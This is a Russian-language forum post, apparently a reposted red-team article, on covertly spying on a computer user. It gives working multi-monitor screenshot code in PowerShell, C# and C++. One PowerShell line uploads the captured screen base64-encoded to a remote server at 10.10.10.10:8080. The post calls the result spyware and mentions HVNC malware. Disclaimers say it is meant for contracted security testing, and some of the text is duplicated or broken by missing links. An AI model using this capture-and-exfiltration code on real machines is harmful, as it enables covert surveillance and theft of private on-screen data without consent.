rootty
Active member
- Регистрация
- 1 Фев 2025
- Сообщения
- 25
- Реакции
- 2
При редтиминге иногда приходится изучать обстановку не только внутри сети, но и за ее пределами. В частности, по ту сторону монитора. Работает ли кто‑то за устройством в текущий момент, какое окно открыто, что говорят в микрофон. Давай посмотрим, как можно, используя легитимные возможности системы, следить за ничего не подозревающим пользователем.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Большая часть того, что мы реализуем в этой статье, есть только в Metasploit и в Cobalt Strike. Первый написан на Ruby, а исходники второго закрыты. Других реализаций я с ходу и не назову, а ведь хочется иметь короткие и аккуратные примеры кода, которые можно без проблем добавить в собственную программу.
Впрочем, у меня получилось самостоятельно все реализовать на C#, а некоторые программы — на C++ и PowerShell.
Казалось бы, такая тривиальная задача дается в восьмом классе в качестве летней домашки на паскале, но не тут‑то было. Авторы множества реализаций забывают об одной интересной детали. Догадался, о какой?
Пока думаешь, покажу тебе пример кода на PowerShell. Даже с его помощью можно сделать скриншот текущего рабочего стола.
Скрипт работает предельно просто — имитирует нажатие кнопки Print Screen.
В интернете можно даже встретить вариант с автоматической отправкой картинки на веб‑сервер.
Ну как, догадался, что не учел автор? У пользователя может быть несколько мониторов! Например, как у меня.
Что, если хитрый сисадмин утащил к себе несколько мониторов и пользуется ими в свое удовольствие? Мы из‑за этого рискуем упустить важную информацию из виду!
Это накладывает некоторые ограничения на выбор наших инструментов. Если просто слать нажатие Print Screen через Windows.Forms, то получаем изображение с текущего монитора, что нас не устраивает.
Получить картинку со всех экранов можно, если обратиться к свойству
Мы создадим растровое изображение (bitmap), а затем добавим на него скриншот с каждого экрана. Получить изображение с экрана можно через метод
Обрати внимание, что благодаря методу Rectangle.Union() изображения расположены на холсте в соответствии с настройками мониторов. У меня в системе мониторы расположены, как на скриншоте ниже.
Если передвинем один экран, то изменится и расположение изображений на снимке.
Ту же логику можно реализовать и на PowerShell.
Этот код, используя описанный выше алгоритм, создаст снимок экрана в C:\1.png.
На C++ все будет чуточку сложнее. Так как функция большая, я сначала дам полный ее код, а затем разберем его по шагам. Итак, функцию я назвал SaveBitmap(). Она принимает лишь один параметр — путь, по которому нужно сохранить изображение.
В начале идет объявление необходимых структур и переменных, в частности, инстанцируем экземпляры
Следующим шагом с помощью
Например, если у нас два монитора: 1920 на 1080 и 3440 на 1440, то по вертикали у этого изображения должно быть 1080 + 1440 пикселей, а по горизонтали — 3440.
Тем не менее очень многое зависит от расположения мониторов. Если они расположены по‑другому, то по вертикали может быть 1440, а по горизонтали 3440 + 1080 пикселей.
Чтобы получить контекст устройства (текущего виртуального экрана), используем
Следующим шагом остается правильно подготовить структуру BITMAPFILEHEADER, она нужна для всех растровых файлов. Параллельно не забываем об очистке ресурсов.
Затем наконец‑то делаем «снимок». Через
К слову, именно функция BitBlt() используется во всякой вирусняге вроде HRDP и HVNC. Но описание принципа работы таких инструментов тянет далеко не на одну статью (извиняюсь за веселый каламбур).
Остается лишь считать данные и записать их в наш выходной файл.
Не зря любая книжка по WinAPI для начинающих первым делом рассказывает о графике! И не зря в вузе столько времени показывали C# и механизм его работы. Совместив разрозненные знания, можно писать сложные и необычные штуки, в том числе полноценную спайварь. Главное — помни, что делаем мы это строго в целях обучения, а применять если и будем, то в рамках контракта с клиентом. Без этого распространение подобных программ может привести к печальным последствиям, а не только к лулзам.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Большая часть того, что мы реализуем в этой статье, есть только в Metasploit и в Cobalt Strike. Первый написан на Ruby, а исходники второго закрыты. Других реализаций я с ходу и не назову, а ведь хочется иметь короткие и аккуратные примеры кода, которые можно без проблем добавить в собственную программу.
Впрочем, у меня получилось самостоятельно все реализовать на C#, а некоторые программы — на C++ и PowerShell.
Скриншот рабочего стола
Первоочередная задача — скриншоты. Нужно увидеть, что открыто у текущего пользователя, в каких программах он работает и чем сейчас занимается.Казалось бы, такая тривиальная задача дается в восьмом классе в качестве летней домашки на паскале, но не тут‑то было. Авторы множества реализаций забывают об одной интересной детали. Догадался, о какой?
Пока думаешь, покажу тебе пример кода на PowerShell. Даже с его помощью можно сделать скриншот текущего рабочего стола.
Bash:
# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов
[Windows.Forms.SendKeys]::SendWait("{PRTSC}")
# Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обмена
Start-Sleep -Milliseconds 250
# Получаем изображение из буфера обмена
$img = [Windows.Forms.Clipboard]::GetImage()
# Сохраняем изображение в файл
$filePath = "C:\1.png"
$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png)
# Выводим информацию о местоположении сохраненного файла
Write-Host "Скриншот сохранён в файле: $filePath"
Вы должны быть зарегистрированы для просмотра вложений
Скрипт работает предельно просто — имитирует нажатие кнопки Print Screen.
В интернете можно даже встретить вариант с автоматической отправкой картинки на веб‑сервер.
Bash:
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
Start-Sleep -Milliseconds 250
$x = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png)
Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))
Вы должны быть зарегистрированы для просмотра вложений
Ну как, догадался, что не учел автор? У пользователя может быть несколько мониторов! Например, как у меня.
Что, если хитрый сисадмин утащил к себе несколько мониторов и пользуется ими в свое удовольствие? Мы из‑за этого рискуем упустить важную информацию из виду!
Вы должны быть зарегистрированы для просмотра вложений
Это накладывает некоторые ограничения на выбор наших инструментов. Если просто слать нажатие Print Screen через Windows.Forms, то получаем изображение с текущего монитора, что нас не устраивает.
Получить картинку со всех экранов можно, если обратиться к свойству
Вы должны быть зарегистрированы для просмотра ссылок
. Оно лежит в System.Windows.Forms.Screen. На выходе я хочу получить один большой скриншот, содержащий изображения со всех мониторов, поэтому не обойтись без System.Drawing.Мы создадим растровое изображение (bitmap), а затем добавим на него скриншот с каждого экрана. Получить изображение с экрана можно через метод
Вы должны быть зарегистрированы для просмотра ссылок
.
C#:
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;
class Program
{
static void Main()
{
// Определяем общую область для всех экранов
Rectangle totalSize = Rectangle.Empty;
foreach (Screen screen in Screen.AllScreens)
{
totalSize = Rectangle.Union(totalSize, screen.Bounds);
}
// Создаем новый битмап с размерами общей области
using (Bitmap bmpScreenCapture = new Bitmap(totalSize.Width, totalSize.Height))
{
// Создаем графический объект для битмапа
using (Graphics g = Graphics.FromImage(bmpScreenCapture))
{
// Копируем каждый экран по отдельности
foreach (Screen screen in Screen.AllScreens)
{
g.CopyFromScreen(screen.Bounds.X,
screen.Bounds.Y,
screen.Bounds.X - totalSize.X,
screen.Bounds.Y - totalSize.Y,
screen.Bounds.Size,
CopyPixelOperation.SourceCopy);
}
}
// Сохраняем битмап в файл
string filename = "screenshot_all.png";
bmpScreenCapture.Save(filename, ImageFormat.Png);
Console.WriteLine($"Скриншот всех экранов сохранен как {filename}");
}
}
}
Вы должны быть зарегистрированы для просмотра вложений
Обрати внимание, что благодаря методу Rectangle.Union() изображения расположены на холсте в соответствии с настройками мониторов. У меня в системе мониторы расположены, как на скриншоте ниже.
Вы должны быть зарегистрированы для просмотра вложений
Если передвинем один экран, то изменится и расположение изображений на снимке.
Вы должны быть зарегистрированы для просмотра вложений
Вы должны быть зарегистрированы для просмотра вложений
Ту же логику можно реализовать и на PowerShell.
Bash:
$ScriptBlock = {
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
$bounds = [System.Drawing.Rectangle]::Empty
foreach ($screen in [System.Windows.Forms.Screen]::AllScreens) {
$bounds = [System.Drawing.Rectangle]::Union($bounds, $screen.Bounds)
}
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$bmp.Save('C:\1.png', [System.Drawing.Imaging.ImageFormat]::Png)
$graphics.Dispose()
$bmp.Dispose()
}
$Runspace = [runspacefactory]::CreateRunspace()
$Runspace.Open()
$PowerShell = [powershell]::Create().AddScript($ScriptBlock)
$PowerShell.Runspace = $Runspace
$PowerShell.Invoke()
$Runspace.Close()
Write-Host "Screenshot saved to C:\1.png"
Вы должны быть зарегистрированы для просмотра вложений
На C++ все будет чуточку сложнее. Так как функция большая, я сначала дам полный ее код, а затем разберем его по шагам. Итак, функцию я назвал SaveBitmap(). Она принимает лишь один параметр — путь, по которому нужно сохранить изображение.
C++:
#include <windows.h>
BOOL WINAPI SaveBitmap(WCHAR* wPath)
{
BITMAPFILEHEADER bfHeader;
BITMAPINFOHEADER biHeader;
BITMAPINFO bInfo;
HGDIOBJ hTempBitmap;
HBITMAP hBitmap;
BITMAP bAllDesktops;
HDC hDC, hMemDC;
LONG lWidth, lHeight;
BYTE* bBits = NULL;
HANDLE hHeap = GetProcessHeap();
DWORD cbBits, dwWritten = 0;
HANDLE hFile;
INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
ZeroMemory(&bfHeader, sizeof(BITMAPFILEHEADER));
ZeroMemory(&biHeader, sizeof(BITMAPINFOHEADER));
ZeroMemory(&bInfo, sizeof(BITMAPINFO));
ZeroMemory(&bAllDesktops, sizeof(BITMAP));
hDC = GetDC(NULL);
hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);
lWidth = bAllDesktops.bmWidth;
lHeight = bAllDesktops.bmHeight;
DeleteObject(hTempBitmap);
bfHeader.bfType = (WORD)('B' | ('M' << 8));
bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biBitCount = 24;
biHeader.biCompression = BI_RGB;
biHeader.biPlanes = 1;
biHeader.biWidth = lWidth;
biHeader.biHeight = lHeight;
bInfo.bmiHeader = biHeader;
cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
hMemDC = CreateCompatibleDC(hDC);
hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
SelectObject(hMemDC, hBitmap);
BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
DeleteDC(hMemDC);
ReleaseDC(NULL, hDC);
DeleteObject(hBitmap);
return FALSE;
}
WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL);
WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
FlushFileBuffers(hFile);
CloseHandle(hFile);
DeleteDC(hMemDC);
ReleaseDC(NULL, hDC);
DeleteObject(hBitmap);
return TRUE;
}
int main() {
LPWSTR path = (LPWSTR)L"C:\\1.jpg";
SaveBitmap(path);
return 0;
}
Вы должны быть зарегистрированы для просмотра ссылок
и
Вы должны быть зарегистрированы для просмотра ссылок
, они необходимы для создания растрового изображения.
C++:
BITMAPFILEHEADER bfHeader;
BITMAPINFOHEADER biHeader;
BITMAPINFO bInfo;
HGDIOBJ hTempBitmap;
HBITMAP hBitmap;
BITMAP bAllDesktops;
HDC hDC, hMemDC;
LONG lWidth, lHeight;
BYTE* bBits = NULL;
HANDLE hHeap = GetProcessHeap();
DWORD cbBits, dwWritten = 0;
HANDLE hFile;
Вы должны быть зарегистрированы для просмотра ссылок
получаем размеры виртуального экрана. Виртуальный экран — прямоугольник, в который можно вписать изображения со всех мониторов.
C++:
INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
Вы должны быть зарегистрированы для просмотра вложений
Тем не менее очень многое зависит от расположения мониторов. Если они расположены по‑другому, то по вертикали может быть 1440, а по горизонтали 3440 + 1080 пикселей.
Чтобы получить контекст устройства (текущего виртуального экрана), используем
Вы должны быть зарегистрированы для просмотра ссылок
. Затем извлекаем информацию об этом битовом блоке (HGDIOBJ) через
Вы должны быть зарегистрированы для просмотра ссылок
и
Вы должны быть зарегистрированы для просмотра ссылок
.
C++:
hDC = GetDC(NULL);
hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);
C++:
lWidth = bAllDesktops.bmWidth;
lHeight = bAllDesktops.bmHeight;
DeleteObject(hTempBitmap);
bfHeader.bfType = (WORD)('B' | ('M' << 8));
bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biBitCount = 24;
biHeader.biCompression = BI_RGB;
biHeader.biPlanes = 1;
biHeader.biWidth = lWidth;
biHeader.biHeight = lHeight;
bInfo.bmiHeader = biHeader;
cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
Вы должны быть зарегистрированы для просмотра ссылок
создаем так называемый контекст памяти. В него будет помещен наш скриншот. Следом создаем блок секции с информацией, определенной в BITMAPINFO, через
Вы должны быть зарегистрированы для просмотра ссылок
. И (о чудо!) помещаем созданную секцию в контекст памяти, а затем копируем в него изображение экрана через
Вы должны быть зарегистрированы для просмотра ссылок
.
C++:
hMemDC = CreateCompatibleDC(hDC);
hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
SelectObject(hMemDC, hBitmap);
BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
Остается лишь считать данные и записать их в наш выходной файл.
C++:
hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
DeleteDC(hMemDC);
ReleaseDC(NULL, hDC);
DeleteObject(hBitmap);
return FALSE;
}
WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL);
WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
FlushFileBuffers(hFile);
CloseHandle(hFile);
DeleteDC(hMemDC);
ReleaseDC(NULL, hDC);
DeleteObject(hBitmap);
return TRUE;
}